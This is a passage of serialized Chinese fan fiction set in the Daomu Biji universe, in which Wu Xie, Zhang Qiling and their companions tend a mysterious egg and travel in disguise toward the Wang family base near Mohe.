还没等说完，渡荆就将实验器材启动，而庞大的数据在张祈灵和所有人的视野里，并以一种令人看不懂的方式运行着。 黑瞎子盯了半天，连墨镜都开始反光了，才不解的问道，“这东西计算要这么久吗？” “已经出来了。”渡荆将其出现的电子屏幕，转向众人，而上面所计算的衍卜寸的下一次进化时间在三年后。 吴峫呼吸停了半拍，“太久了，就没有更快的方法吗？” “有，但得看你们愿不愿意尝试，而且，过程很艰难。”渡荆将运转中的机器停止，随后在衍卜寸的水缸里放入打氧器。 胖子将拖把一丢，险些砸到黑瞎子的脚趾头，呲着个大牙同对方表示抱歉之后，才立刻追问渡荆，“什么方法我们都要尝试不是吗？过程艰难又怎么样！” “你们应该去过魔城了吧。”渡荆能用直觉，从众人的身上感受到那样的波动，“还有，吴先生的身上，曾经也出现过物质化的东西，我猜的没有错吧。” “是。”吴峫下意识摸了摸自己的脖子，那里曾经是，唤起人类强烈阴暗面，以及欲望的青铜母铃所寄宿的地方。 渡荆眯着眼，随即摊手，“但你现在没有了，就是有人帮你拔除掉了这个东西，而我说这些，是因为物质化物品从人的身上提取出来的方法，同现在的是一样的，那就是用同样物质的东西，将其牵引住后，再用衍家独门的红线给强行拽出来。” “可我们过去用的是第二个青铜铃，但陨铜的第二块在？！”吴峫将自己摩挲脖颈的手放了下来。 随后，他的视线又快速移到张祈灵的身上，“既然祈灵的身体里也有陨铜，可为什么衍卜寸的进化，要等到三年后？” “因为寄居在你身体里的青铜铃，距离拔除的时间并不算长吧？”渡荆打量吴峫，下着结论。 而胖子却摇头，反问道，“可十年还不算长吗？” “但衍卜寸更长不是吗？”解雨臣同样否认了胖子的话，“如果按照渡先生所说，是因为陨铜寄居的长短，来确认拔除时间，那确实合理，因为衍卜寸从被烛龙创造出来到至今，已经过去千年的时间了，而我们现在只是等三年就可以让衍卜寸恢复，算快的了。” 黑瞎子听他们讲一堆大道理，直击重点，“所以过程呢？是让衍卜寸和祈像磁铁一样，始终吸在一起，来保持陨铜的恒定吗？” “是。”渡荆承认着，“所以，在我观察好衍卜寸的情况后，张先生就需要一直揣着衍卜寸行动了。” “这算不算是，盘三年核桃？”胖子的联想天马行空的，指头还灵活的比着手势。 张祈灵不懂，眨巴了两下眼，便学着胖子抓了半天空气，“盘…核桃。” 第275章 危险 从此，一根筋的张祈灵小朋友，便开始每天进行盘核桃这个大工程。 而吴峫正在一旁紧俏的磨刀，他目光灼灼地盯着陷在沙发里的张祈灵，对方的手臂如今已经卸下石膏，所以再次显露出来的肤色，白的近乎晃眼。 说实话，吴峫并不觉得自己对待张祈灵补偿的态度，更像是一种无底线的占有欲，只要他想到张祈灵是自己创造出来的，他就能感觉到一种难以言喻的，作为“父亲”的责任与担当。 这么想着，不知不觉间，吴峫就将刀面磨的越发雪亮了。 而胖子，则倚在沙发旁啧巴吃着瓜子，他早就闻到了自家天真的醋意冲天，胖子的旁边，是正在给张祈灵削梨的小哥。 小哥隐隐察觉出了吴峫和张祈灵之间的氛围不对。 于是，小哥头脑风暴，并眼疾手快的，将雪白的梨放到了二人中间，直接打了个岔，令吴峫快速收起了那不应出现的偏执神情。 不过躺倒在沙发里的张祈灵，压根就没有感受到吴峫眼里的执拗，他向来直率，所以在同小哥对视后就坐了起来，随后便一手勾着梨，另一边盘着衍卜寸，气定神闲的像个老头。 而吴峫整理好自己的情绪，散尽对衍卜寸拱自家白菜一样的嫉妒心，待再度抬眸之际，就见张祈灵把咬了一半的梨转了些，将完好的部分凑到了自己的唇边。 “祈灵，我不是要吃梨……”吴峫无奈的笑着。 但张祈灵还是坚持着把手又送了送，吴峫盯着那梨水香甜的汁液，顺着对方的指节滑落。 吴峫喉头滚动，鬼使神差的在下一刻用掌心接住了，这近乎是托着张祈灵手的下意识反应，连他自己都没反应过来。 而正巧能看到的胖子，没忍住直接笑出了声，并调侃道，’“天真啊，你胖哥哥我最会给梨榨汁了，不过你怎么渴，也不能接祈灵小兄弟手里头的喝吧？” “胖子！你在说什么鬼东西！”吴峫耳尖微红，并赶紧将手如触电般抽了回来，可掌心中的黏腻，就像是棉花糖化开般，令他感觉心里莫名甜滋滋的。 小哥眨巴了两下眼睛，见吴峫真的没有吃的意思，只是渴了而已，于是自己将张祈灵递送过来的梨咬了一口。 原本还在调笑的胖子，这是完全发现自家后宅着火了，他哗啦啦把瓜子扔回袋子里，发现真是天下大乱，“小哥，你怎么也抢祈灵小兄弟的梨！” “给的。”小哥表示是张祈灵自己送的，并疑惑不解的嚼着，甚至正因不懂胖子生怕他们内部消化的想法，选择又咬了一口梨，而且还是咬在了张祈灵刚才啃的位置。 吴峫此刻撂下刀，慢半拍的开始大惊失色，“小哥，你给祈灵切的梨怎么自己吃上了！” 也就是在吴峫喊出来的瞬间，二楼的卧室门突然被踹开，黑瞎子挠着炸鸡窝的头发，被吵醒之余也气的够呛。 “徒儿，你们没必要争这个梨啊，人家俩姑娘们挑了一箩筐在厨房，想吃就吃，抢毛线啊！”黑瞎子的语气懒散，可下来的脚步倒是快。 张祈灵的手还顿在那里，懵的不知道发生了什么。 而黑瞎子不怀好意的挑眉，随后俯下身，也以迅雷不及掩耳之势啃了一口，偏偏还是张祈灵和小哥都动过嘴的位置。 甚至黑瞎子还唯恐天下不乱的评价，“别说，确实够甜，有让人争的资本。” “不要乱说话。”解雨臣将渡荆用掉的实验废品搬了出来，并提醒着黑瞎子别太过火。 黑瞎子抹了抹唇，像是在回味，但其实是将嘴上的话尽量减少些，免得想要让其听的人悟不懂，不想听的人反倒什么都明白的一清二楚。 黑瞎子可是张祈灵的半个爹——自认的。 不过这不影响黑瞎子以老丈人的身份，去衡量自家金宝宝的人生大事。 先排除吴峫，外表看似小孩儿，内里邪帝一枚，心机深，不适合祈；再去掉哑巴，嘴太笨不会哄人，俩木头杵在一起冷冰冰的；胖子也筛掉，虽然厨艺好，脾气不错，但祈会不知道怎么回应对方的热烈。 衍卜寸…… 黑瞎子的视线移在张祈灵手上只有核桃一般大的卵上，泛着光泽的红很是夺目。 “疯子……更不可以。”黑瞎子默念着。 直到解雨臣打了个响指，叫他回神，“想什么呢？渡先生那边的废弃物很多，你和我一起处理一下。” “我才醒就把我当苦力啊！”黑瞎子怨声载道，指着自己那鸡窝头以证清白。 可解雨臣只是笑着摇头，“属你起的最晚，活都让别人干了，自己没一点儿心理负担，当然能睡成这个头型了，所以现在是你回报大家的时候了。” 话落，解雨臣直接将抱着的大箱子放在了黑瞎子手中，而黑瞎子为了逃避劳动，病弱感立刻就上来了，像软面条似的，放松全身就准备要往下躺，结果却被解雨臣立马扶住。 “就算是晕了也要干的，加油，我看好你。”解雨臣笑的温柔，仿佛是真的发自内心的在鼓励一样。 黑瞎子深吸了一口气，才往外面走，等到出了门确认屋内人不会注意到这边以后，便直接将箱子丢进专门的回收车里。 “笑面虎也不行！”黑瞎子挠着头发，解雨臣虽然对祈很好，但这使唤人的样子，属实是会败坏自己在祈那里的心理高度。 不可取，不可取啊！ 黑瞎子咬着手指，就差将九门的祖宗们都扒出来一用了，而就在他返回别墅里的时候，他正好撞见了和清如学种药材的霍秀秀。 小姑娘性格讨喜，一个静一个闹，相辅相成啊！ 于是黑瞎子立刻转战，并笑眯眯的将身体靠在门上，还没等以亲切的问候语开场，就见霍秀秀的脸瞬间垮了下去，阴沉的像自己欠了她八百万似的。 “黑爷，您这路挡的不大对啊。”霍秀秀的指尖，蓦然抵上黑瞎子的胸膛。 而黑瞎子丝毫不惧，可下一秒，这小姑娘就直接跟大力士附体似的，将自己半个身子都摔在了地上。 “抱歉啦黑爷，我要去看看衍核桃和张大夫的治疗进度了，您刚才那样，我真的很为难的，请不要怪我哦。”霍秀秀说的滴水不漏。 而感受地面冰凉的黑瞎子深深吸了一口气。 霍秀秀也刨除掉，今天敢对自己这样，明天就敢掀开祈的脑壳。 危险，实在是太危险了！ 第276章 弟弟，更好 黑瞎子后面思来想去，都没能从吴峫等人当中挑中个不错的人选，不过好在张祈灵也并不懂所谓的伴侣，所以在黑瞎子每次打量之际，也只觉得黑瞎子是有别的考量。 长久以来对吴峫和胖子的察言观色，让张祈灵学会了不去判断一个人所想的事物，才不会冒犯到对方。 于是，张祈灵在黑瞎子第二十八次将视线转过来的时候，只是微垂着头，去用筷子夹着碗里属于自己的米饭。 “黑眼镜，你最近眼睛黏祈灵身上了吗？”吴峫不悦的道。 但显然，黑瞎子并没有因为吴峫的情绪而有所收敛，甚至他目的性极强的，夹着一筷子排骨就放进了张祈灵的碗里，笑眯眯的模样，恨不得将嘴角咧到耳根处才罢休，“这不是看祈天天拿着衍卜寸什么都做不了，觉得他太辛苦了嘛。” 在餐桌上吐着鱼刺的胖子，听到黑瞎子的话，不解的歪头，“卜寸小同志也没有像西瓜那么大吧，而且，祈灵小兄弟手盘抽筋的时候，咱们也帮着揉。只不过，我和天真一样不太懂，你这盯人的频率最近也太高了吧？成天出来晃悠，就是为了看祈灵小兄弟？” “我带大的怎么不能看？”黑瞎子懒洋洋的将背部靠在了椅子上，眉眼都是张扬的狂意，“况且这别墅里也太闷了，每天窝在沙发上看电视，我也不觉得祈感兴趣。” “去野餐？”吴峫提了个建议，不过又摇了摇头，“胖子，你带着他们去吧，目前这里忙的事还挺多的，我们回到了最开始的时间线，汪家仍旧存在，不过我们提前知道了汪家的运算部，倒是可以趁火打劫着去。” “天真，你又改不掉你设计计划的毛病了！”胖子一拍大腿，“哪有你去奋斗，我们干躺着的道理！不就是捣毁运算部吗？哥们能给你干一次，就能干第二次！” 吴峫将碗里的菜和饭扒了个干净，果然，年轻的大家真就是意气风发，什么都无所畏惧。 连前面还在纠结给张祈灵找伴儿的黑瞎子，都将正了脸色，撩了一把自己的头发，“我还以为，徒儿你要等一些日子以后，再说这件事呢，不过，既然想做，那就去做吧，只可惜，现在我那二徒弟，是不是就和黎簇那黄毛小子没出场的机会了？” 解雨臣用帕子抹干净了嘴，随后抬起头。 “不让更多人牵扯进来最好，上一次我们找寻汪家运算部位置，几乎是动用了九门里的大半势力，但现在有先知性，无疑是最大助力。”解雨臣说的有理有据。 而吴峫显然听进去了，忙点了头，但渡荆面对自己的病人要跟着他们奔波，就持了反对态度，“衍卜寸和张祈灵的状态是相辅相成的，我建议他们留在这里。” 显然，听到渡荆劝诫的张祈灵并没有这样退缩的想法，更别提吴峫那次的涉险，和自己还有衍卜寸的囚禁实验，都是相当危险的存在。 于是张祈灵在填饱肚子后，立刻撂下筷子，指尖摩挲着衍卜寸的球身，清冷的眸子里带着化不开的，永远令人动容的执拗，“去。” “不同意。”一直保持安静的小哥，直接驳回了张祈灵的想法。 虽然说，过去的自己因为守门，而没有参与吴峫的十年计划，但小哥清楚，吴峫会为了剿灭汪家而做到何种地步，况且，汪家也不是吃素的，现今体型尚小的衍卜寸是张祈灵不能丢的随身挂件，一只手被束缚在另一个人的身上，他们的命相连在一起…… 小哥和张祈灵模样完全相同的神情碰撞在一起，两相的不肯退让，令吴峫赶紧上来劝着。 “祈灵你知道汪家的手段，我和小哥，还有其他人的意见是一样的，你好好和卜寸歇着，等我们回家。”吴峫说着，怕张祈灵听不进去似的，更是直接起身，走到了对方的身边，甚至连抚着肩膀说话的时候，都是温声软语的。 不过，张祈灵不太习惯于吴峫太过温柔的姿态，只听了片刻，便耳根通红，但他还是记得吴峫等人要撇下自己的行径，所以，他并没有在短时间内改变自己的想法。 “和医生的，不是家。”张祈灵专注的看着吴峫略浅的眼睛，试图用自己贫瘠的话语去描述自己心里的想法，“不想等待，一起。” 吴峫察觉到张祈灵对文字理解的不连贯性，是真觉得这笨拙的阐述可爱极了，所以他下意识揉了把张祈灵的头，原本坚固如磐石的意见，直接崩塌在了张祈灵的撒娇下，“好，到时候你不许出手，我只会给你配一把后坐力小的枪。” 说实在，吴峫是真不想看到张祈灵提着刀，就铆足了劲跟不要命似的往前冲，哪怕知道他知道他的身手足够好，但还是怕这样的守护，会给张祈灵自己带来所有人都不想看到的伤害。 胖子欲言又止的抬手，刚想要劝说两下，就见吴峫的态度转变跟坐火车似的急转急下，于是赶紧抿紧了唇，不再多说。 相处了这么久以来，胖子太懂所有人的性格和底色了，这一屋子的人，就没有会轻言放弃的人。 而小哥，则将放在腿上的手攥紧，他虽有些恼于张祈灵的坚持，但还是没说什么。 甚至，生怕张祈灵不听劝去拿武器，干脆自己立刻离开餐桌，去卫生间里将解雨臣从张祈灵身上卸下来的软刃，别在了自己的腰间。 而刀面在接触衣料时，仍然会带来一阵细腻的凉意。 小哥站在镜子面前看了会儿，突然发自内心的懂得了，张祈灵为何会喜欢这把软刃，它不会由时间推移而消失，是巧夺天工的产物。 它很轻，且柔软又坚韧锋利。 虽锋芒外露，但没有丝毫桀骜狂放。 小哥摩挲着腰间的刀柄，只觉得这软刃像张祈灵一样，拥有至纯澄澈的底色。 “刀很好。” 小哥不由自主，将指尖从柄端往前划，几个呼吸之间，连锐利的锋刃也在细微的颤动，等他反应过来时，才发现是自己在笑，“弟弟，更好……” 随后，小哥再度看向镜子里的自己，那抹挂在唇边的笑容，温和又不凛冽，同张祈灵对吴峫的柔软姿态，简直像极了。 第277章 出师不利 根据十年计划中，吴峫所算计黎簇汇报的汪家总部位置，是Tynda位于俄罗斯联邦阿穆尔州旗下附属城市，并因货物流通，而导致最后黎簇的标记点，在东经123，北纬53位置。 铺展在桌子上的地图，被黑瞎子随手而出的匕首凿中，最终的地点，是黑龙江省大兴安岭地区的漠河县。 “小花，车定好了吧？”吴峫抬头，问着解雨臣。 虽然长白山到大兴安岭的总距离有一千五百多公里，鉴于张祈灵和小哥没有身份证，所以旅途遥远，就需要包客车。 解雨臣点头，去打通了电话，吩咐手下准备以及武器储备，而胖子已经在五金店等地方，分散去买需要用的工具以及速食。 甚至连闲暇的黑瞎子也在忙着自己的事情。 不过…… 张祈灵偏头去看着黑瞎子，发现他将那一堆青椒肉丝炒饭码齐备好后，只是自顾自的擦着他满缀在外套内侧的墨镜。 “想要就来一个呗。”黑瞎子毫不吝啬的将那一尘不染的墨镜塞进张祈灵手里，而并无装逼想法的张祈灵将其推了回去，示意自己不需要。 主要对于张祈灵来讲，他目前最重要的可不是与黑瞎子拌嘴，还有等待所有人做完一切事后，坐享其成。 所以，他很快进了卫生间，开始找自己的武器，但连水箱都打开了也没发现这软刃藏在哪里了。 并不通人性的张祈灵，显然不懂得小哥等人的保护想法，于是，当小哥斜倚在门框上，目光灼灼的看着张祈灵时，他只感觉自己像偷食被一下子揪住后颈的猫。 视线相触，张祈灵愣在了那里，半天才将自己弯下去的腰直了起来，但小哥看了半天，却并没有展示出任何生气的意思，反而是将张祈灵给扶住，顺便理了理对方有些皱褶的睡衣。 说实在，小哥越平静，张祈灵越觉得自己的心里有些不安。 大约是相同躯壳，或是其他原因带来的同频，无论小哥怎么用冷冽的外表，去压抑自己内心的情绪，张祈灵总是能精准的细品出那一丝微妙的异样。 正如现在这样，小哥突然牵住了张祈灵的手腕，并将其放在了自己的腰腹上。 尚不清楚小哥究竟想做什么的张祈灵，却下一刻，触碰到了那硌手掌的极为熟悉的刀柄。 而张祈灵看着小哥，在彼此目光交汇中，通过同样幽深的瞳眸，传递着彼此未言说的话。 小哥所想，无非是你的软刃在我这里，不用担心，必要时刻我也会给你，因为这是你防身的武器。 它是你的保障，我也是你的后盾。 张祈灵看懂小哥想表达的东西后，便很快乖顺地垂下了眸，毕竟长者所想，永远是后辈该听取进去的意见。 而解雨臣那边备好的车很快就过来了，经过沟通，众人决定将清如和霍秀秀留下来，带渡荆走。 但霍秀秀听到，却非常不愿意，她很少有这么生气的时候，连那眉眼飞扬的模样，也是吴峫从未见过的恼意，“吴峫哥哥，小花哥哥你们不能这样！我好不容易才带着霍家碰到了汪家的边，你们所想进行的剿灭计划，我也可以！” “你也说了自己是霍家人，霍家如今需要你这个顶梁柱！”吴峫不想对霍秀秀动粗，但还是因为担忧而拔高了些许音量，“霍姑姑还需要你的照顾，你这些天出来也够久了！” 霍秀秀一下子被噎住，随后解雨臣拍了拍她的肩膀，“我们可以处理的，你别担心，在这里照顾这些中药，你和清如小姐学学也没有坏处，也好让我们回来的时候，有个照应。” “可是！”霍秀秀还想要再说什么。 但下一秒，她就被胖子笑眯眯的，用话堵住了所有发散出来的情绪，“咱理解你的纠结，但这也不是无准备之仗，你呢，就好好看家，至于你的天真哥哥还有小花哥哥，你胖哥哥肯定给你护好了！” 在胖子与其他人苦口婆心的再三保证下，霍秀秀才停止了想要跟去的想法。 而渡荆则提着自己的医药箱，准备上车，不过走了一半就被拦住了，因为张祈灵给渡荆甩了个背包，示意他把箱子放进去。 看到这一幕的黑瞎子，替惜字如金的张祈灵解释着，“上次霍道夫那小子，下去以后把自己箱子里的东西都弄碎了，祈是叫你多添一层保障，你背着也不重，这说的都是经验之谈，听话小老头。” 渡荆真的不想听黑瞎子这人说话，每每都会把人气的胡子都要横起来，但他还是忍住那点儿小情绪，将自己的东西塞进了登山包里。 而等众人分配好上车以后，便发现外头变天，很快下了雨。 铺天盖地的豆大雨滴，很快模糊了车辆的前挡玻璃，解雨臣坐在驾驶位上，点开了雨刷，随着两条黑色的杠动起来后，水珠很快被扫到了一边。 而水渍抹去后，很快便露出了一张俊逸的脸。 “真是出师不利……” 汪灿烦躁的骂了句天公不作美，随后便偏头，看了一眼车后镜。 他发现坐在后头的汪小媛正眯着眼，不知道在瞧什么，而汪灿又观察了一下，发现外头吸引她注意力的，只有那猛烈的不肯停歇的暴雨而已。 等到汪灿彻底启动车辆，才让汪小媛快速回了神，“抱歉，我只是觉得这雨来的有些快，一时间没听到你说话。” “最近一直查不到那人的踪迹，他到长白山后就消失了，上头发布的调查时间紧，你不该将注意力耗在这种赏景的事上。”汪灿攥紧了方向盘，随后踩住油门，快速将车驶出密林。 听到这样的训诫，使得汪小媛的眉头略微蹙了一下，但很快便松开了，她反问着对方，“那个人不见得还在长白山，运算部查不出来吗？” “姓鄢的失踪了，运算部还在调整原本的工作模式，所以现在的机器处于一定的报废状态。”汪灿虽然是这么说着，但脸上并不见焦急的神色，反而略微歪了下头，抽神去打量了一下汪小媛的反应，“不过，能把我们两个凑在一起，你能够想出这次任务的难度了吧。” 坐在后方的汪小媛，将手攥的紧了一些，却并没有正面回应汪灿的调侃，“他离开吴山居之前，带了几个人？” “一个胖子。”汪灿这么回答完，话题便很快转移了，“但最主要的，是他接没接到那个从门里出来的家伙。” “几个家伙？”汪小媛追问，“和鄢先生的消失有关吗？” 汪灿没有很快接茬，而是在车体转了个弯后，才慢条斯理的，迎着瓢泼大雨叮咣的背景音说道，“这不是你该问的。” 第278章 挺可爱 到达漠河边沿，便换了驾驶位，所以胖子立即将车驶进了当地旅游的自驾游队伍里，顺利的混了进去。 “嚯！没想到这么冷的地方，还能人山人海的。”胖子这么说着的时候，还能看到外头才停雨不久，人们下车的时候还能喘上白雾，跟蒸汽机似的。 而张祈灵对来此观景的人并没有丝毫的兴趣，他正专注于戴上黑瞎子在路上亲心打造的手套。 其中一只设计的是像袋鼠那样，将衍卜寸刚好存放在内部，贴近在手背上，既不妨碍正常的动作，也能一直保持皮肤接触所带来的能量稳定。 就是，从外表来看…… 吴峫闷闷不乐的看了一路，嘟嘟囔囔的吐槽，“跟手上长瘤似的。” “已经很好了。”解雨臣坐在吴峫的左边，瞧着吴峫闷闷不乐的模样，就知道他在纠结什么，“不影响正常活动就是好的，而且瞎子那家伙，针线活还可以。” “哎……我就是辛苦张祈灵和衍卜寸，还要陪咱们跑一趟。”吴峫的视线从张祈灵的手套上移开，随后摩挲起自己的衣角，“不过，能够尽快解决汪家就是好的，对了小花，其他人手是不是在后头分散跟着呢？” “是。”解雨臣点头，随后按开了车窗，叫着一个热情的像本地人的家伙，送了箱水过来。 吴峫有些不解于现在拉喝的来干嘛，但还是起身帮着把那大箱子搬了进来，放在了自己的腿上，“小花，我们后备箱里有水的……” 解雨臣并没有快速回答，而是与吴峫对视一眼，便清楚明白了对方的未尽之言。 在旁边的张祈灵，只是盯着窗外，顺势瞧见了黑瞎子那车也上了一箱东西，只不过看包装是泡面，但张祈灵根据经验，敏锐的听了下自己车中的箱体动静，便知道解雨臣两次派人送过来的是什么了。 而箱子很快被拆开，张祈灵都不用看，就知道里头是人皮面具的材料了。 紧接着，解雨臣和吴峫便开始合作制作，张祈灵也想上手来着，结果却被胖子从驾驶座递来的一根士力架堵住了动作。 “小孩就该干小孩的事。”胖子将士力架掂了掂，“喏，拿着呀祈灵小兄弟。” 张祈灵接过，点头表示感谢，便又转向吴峫想帮忙，结果吴峫头也不抬就给人转移走注意力了，“祈灵，你自己吃点东西补补能量，咱们的午饭尽量在车上解决，过一个小时再去加油站上卫生间。” 现在并没有排泄欲望的张祈灵，只能撕着包装，先适应一只手上顶珠子的奇怪感觉。 而解雨臣和吴峫所给自己设定的，一小时捏面具的时间确实够用，不过渡荆那边就需要黑瞎子帮忙弄了。 但面对着渡荆这张大众脸的老人相，黑瞎子还真没打算弄人皮面具，“那边的人没见过你吧？那我就给自己和哑巴捏了。” “你可真会省时间。”渡荆喝着保温杯里的枸杞红枣茶，完全没有与小辈计较的样子。 黑瞎子也乐得清静，只不过没和张祈灵他们同车，还是觉得有些憋屈罢了。 但他还是加快速度，给自己捏了个不错的好看皮相，却遭到了渡荆的吐槽，“太显眼了，普通一些的好。” “我自己的手艺厉害，还不许我用了？”黑瞎子虽然是这么说的，但最后还是瘪着嘴给自己捏了个没什么记忆点的脸。 而当他摘下墨镜的时候，渡荆也自觉没有去看。 “怎么，听过我的传闻才不敢看？”黑瞎子把墨镜放在车前摆饰品的地方，随后将人皮面具严丝合缝的贴上。 渡荆摇头，否认道，“是知道你眼睛治好了，才给你和你的朋友们留点儿悬念，我提前看了，到时候没惊喜感了。” “瞧出来我痊愈，也是看能量波动看出来的？”黑瞎子发现，自己总是对这样和鄢啸南一样神神叨叨的老头，有点意料之外的兴趣。 并不吝啬于表述的渡荆，直接说了出来，“既然你们从那门里出来，就大概知道了里头的原理，时间之间的历史改变，相信就是治好你眼睛的关键，不过，我只是作为孩童的时候，见过一次而已。” “哦，原来如此啊。”黑瞎子给自己贴好人皮面具后，便将摘下来的墨镜收了回去，从自己的皮衣内侧换了一个棕色镜片的时髦太阳镜出来。 而小哥也将自己的人皮面具贴在了脸上。 一个小时后，待所有人都易容好了，才将车驶向加油站，留时间放水。 出来之后的言辞就要变得谨慎一些了。 所以胖子在拉着加油工唠家常的时候，啊不，打探消息的时候，那叫一个熟练，毕竟在明知晓汪家大本营位置后，还是要做一个保障才行，“咱这旅游区哪里最好呀？我听说那林子最近的森林村庄不是挺不错的嘛，这季节有人去吗？” 加油工挺年轻一小伙，他将油管头放进了车辆的油箱口中，才热情的回应起来。 “有啊！大哥，您别看这雨季东北的旅游行业受限，但到底是南方降雨量充沛，这边算得了啥啊，想打卡哪里都能去，就这旅游区，还专门有个瞭望台呢，不过我建议你，爬山爬正常的路线，那林子可容易走丢了。”小伙说到这里，神情变得紧张兮兮的。 “前些日子就听说有人进去采蘑菇失踪过，至今还没找到呢！” 胖子掏着兜里的泡泡糖，拿出来嚼着，“我去，这么狠呢，那这正常的爬山路线搁哪儿呢？” 就在胖子诓消息的同时，将士力架包装扔到垃圾桶里的张祈灵，安静地走了出来，并且站在了胖子身边，胖子随手又给了张祈灵几块泡泡糖。 “诶呦我去，那挺近的啊。”胖子这么说着附和加油站小工，还有空撸把张祈灵的头发，最近长了不少，到锁骨了，要不是身高一米八，还觉得是姑娘。 张祈灵弯腰，任胖子摸的更顺手一些，但迎面见吴峫买好速食出来了，便戳着胖子的胳膊肘，示意对方该走了。 社交达人的胖子察觉到张祈灵的意思，就赶紧把加油钱付了，然后连忙钻上了副驾驶，而吴峫则坐到了驾驶座上。 “胖子，你刚拉着祈灵和那小工说什么呢？”吴峫启动车辆，打着方向盘，微偏着头看着胖子。 吴峫好奇，完全是因为刚才胖子和张祈灵，在人皮面具的掩饰下也很显眼。 一个恨不得二十四小时将嘴做成机关枪的人，拉着个不爱说话的内向小孩，就跟开朗热情的主人牵着聪明连舌头都不怎么吐的边牧似的。 挺可爱。 “那小工说，有条大路能上山，里头还有个台子，不过，咱们走小路就成，但那小伙说，原先有人上山消失了，能采蘑菇的人，大概率不会跑那么远……”胖子分析着，“可能是触及到了汪家的那个什么法阵，才消失的。” 第279章 猫猫 “青铜矩阵上次被一个误闯进来的人给毁了一部分，你吩咐人抢修了吗？”王灿已经将车停在了隐蔽处，他虽然是这么问着汪小媛，但手上的动作却没停。 汪灿不是一个做无准备之仗的人，所以他在运算部恢复大约百分之五十七性能的时候，才用电报联系总部，准备推算出目前吴峫的动向。 而汪小媛在后座处，用平板调出监控，“已经完善好了，不过，你问这些是觉得吴峫他们会闯进来？还是单纯的不想要那块地被那个人的血弄脏。” “我想什么你应该清楚吧？”汪灿将耳机扣上，将电报机放在腿上，用汪家特制的密语按着。 汪小媛不置可否，没猜测也没脱口而出对方的想法，反正怎么说汪灿也只会逗人，但她觉得自己的观点应该没问题，于是片刻便岔开了话题，“我不认为他们会找到汪家的位置，我们更应该担心的，不应该是那帮说在沙漠地带找到了特殊信号的人，究竟能不能回来吗？” “去找古潼京的那一队人？”汪灿虽然是手上不停，但脑子显然在听汪小媛说话这边也是转得动的，“总有些人想尝试人力不可求之物，蛇眉铜鱼不也有人去找吗？人回不回来不重要，反正上头会让更多的人去，总有能带东西回来的。” 汪小媛听了这人命如草芥的言论，并没有表露任何的不满，这从来都是汪家的准则和规矩，彼此不需要多么紧密的情感相惜，毕竟到最后谁能挺到活下来才是真的厉害。 这么想着，外头的雨又淅淅沥沥大了起来，甚至还带了点反常的冰碴。 噼啪的打在车窗上的时候，胖子正瞪圆了眼，扭头看着驾驶座上的吴峫，“啥，天真，你把古潼京的消息提前放出去了？！我怎么不知道这个事！” “不放出点儿消息把汪家一部分人引走，那怎么才能混进去。”吴峫边说，边指了指自己的脸，“而且，胖子你以为咱们这里的人皮面具都是随便捏的吗？” 解雨臣在后头蹙着眉，“难怪你捏的时候让我跟着你弄，这种狸猫换太子的事，吴峫你真是胆子变大了。” 听了半天的张祈灵，看着吴峫被好两张嘴围攻的模样，立刻作为毒唯一般的存在，将话题扯到原处。 “法阵。”张祈灵说的是前面胖子提到的，处于汪家第一层防护栏的东西。 胖子嘿嘿一笑，非常有给张祈灵科普的兴致，“这就不懂了吧，还是我们上一回去的时候的经验，那会儿你在大本营里头待着呢，肯定不清楚，这法阵啊，就是一个青铜铃套青铜铃的矩阵，还有钢丝等隐秘在周围，中了幻觉之后，那就会绞进其中。” 听到这么详细的描述，吴峫不重不轻的捶了一下胖子左边的肩膀，“人祈灵还小呢，说这些干什么。” “我这不是智慧课堂开课吗！”胖子拍着大腿，“而且不说一下，到时候受伤了那才叫人心疼。” “我没想让他上场！”吴峫砸着方向盘，车体发出鸣笛后，快速停了下来。 他太清楚张祈灵为了自己拼命的劲儿了，那种执念，不是身处于另一种保护目标中心的胖子能懂的。 也许是因为创造张祈灵的契机和想法不对，所以张祈灵会从一开始带来的与生俱来的偏执。张祈灵是个傻子，是哪怕遍体鳞伤下，但也仍会因为守护的念想而永不停歇的机器。 吴峫懂，所以他心疼，更因为连带着凶了胖子的愧疚，导致他一刹那间没收住外露的情绪。 半秒钟过去以后，他才在全车人惊诧的目光中，结巴的解释，“对…对不起，我不是这个意思，胖子，我不是怪你说这些，但我也是真的没想让祈灵跟着我们进汪家。” “可以。”张祈灵的视线从后座投了过来，说的很坚定，是完全听从于吴峫安排的意思。 而吴峫往里吸了两口气，才扭头转了过去，他想过张祈灵会出现怨怼，会不理解，会觉得委屈。 可对方幽深的眸子，并没有所谓任何恼怒的情绪，那依旧是像小猫看主人的依恋，仿佛现在摸两把毛，他还会把下巴紧接着凑过来似的。 吴峫抿唇，想要从中嗫嚅出一些安慰张祈灵的话，可却半天没能从喉咙里滚出声音来。 因为张祈灵什么也不会，连生气都不知道，他甚至都不清楚自己刚才所说的临时变卦，就是一场将其这人排除在外的诓骗。 解雨臣一直在看着吴峫，立刻就知道这僵持住的原因是什么了，于是赶紧拍了拍张祈灵的手，帮着吴峫说话，“那到时候，小祈就在车上待着，我和吴峫给你买了很多好吃的，都在后备箱里，你拿着吃就好了。” “嗯。”张祈灵点着头，但目光还是盯着吴峫的。 霎时间，张祈灵这般温柔的神情，便看的吴峫更心软了。 但吴峫还是克制住，快速将头扭了回去，顶住耳根子发红的灼热，将自己的声音重新找了回来，“小花说的对，祈灵你不用担心我们，胖子既然说了这么多，我们也经历过，了解汪家的大体结构，所以你安心待着就好。” 胖子连忙也接上茬，手跟刀似的，欻欻的切水果一般的闪，“是呗，江湖风云变幻，但你胖爷还是胖爷！无论这汪家怎么变，那都比不过咱们的先知性啊！而且，他们还不知道咱们是有十年后记忆的，这咋能对抗，那不就是他们鸡蛋碰咱们的石头吗？” 知道众人安抚意思的张祈灵，默默的点头。 而后头见吴峫停车的黑瞎子，疑惑地按着喇叭，拿起对讲机就开始嘴臭发言，“不是吧，你们要屙车上吗？怎么停这么半天！” 胖子薅着对讲，直接骂了回去，“说什么恶心话呢！车里还有小孩子呢！” 被宠成孩子而不自知的张祈灵，很快地看了一眼周围，但并没有发现胖子嘴里头说的家伙。 而解雨臣被张祈灵的反应，逗的唇角抿出了好看的弧度，于是，他随手将自己的帕子折成了一个活灵活现的小猫玩偶，并且晃着塞进张祈灵的手心里，“小祈，孩子在这里呢，待会儿可要照顾好它呀。” “嗯。”张祈灵眼睛亮亮的，轻握着小家伙，生怕弄坏。 果然，同胖子说的一样小， 猫猫真可爱， 喜欢。 第280章 赤色瞳眸 “我已经让去古潼京的那些人，将那条蛇的孙子带回来了，已经放在黑眼镜那边的车上了。”吴峫将车从小道驶进密林中。 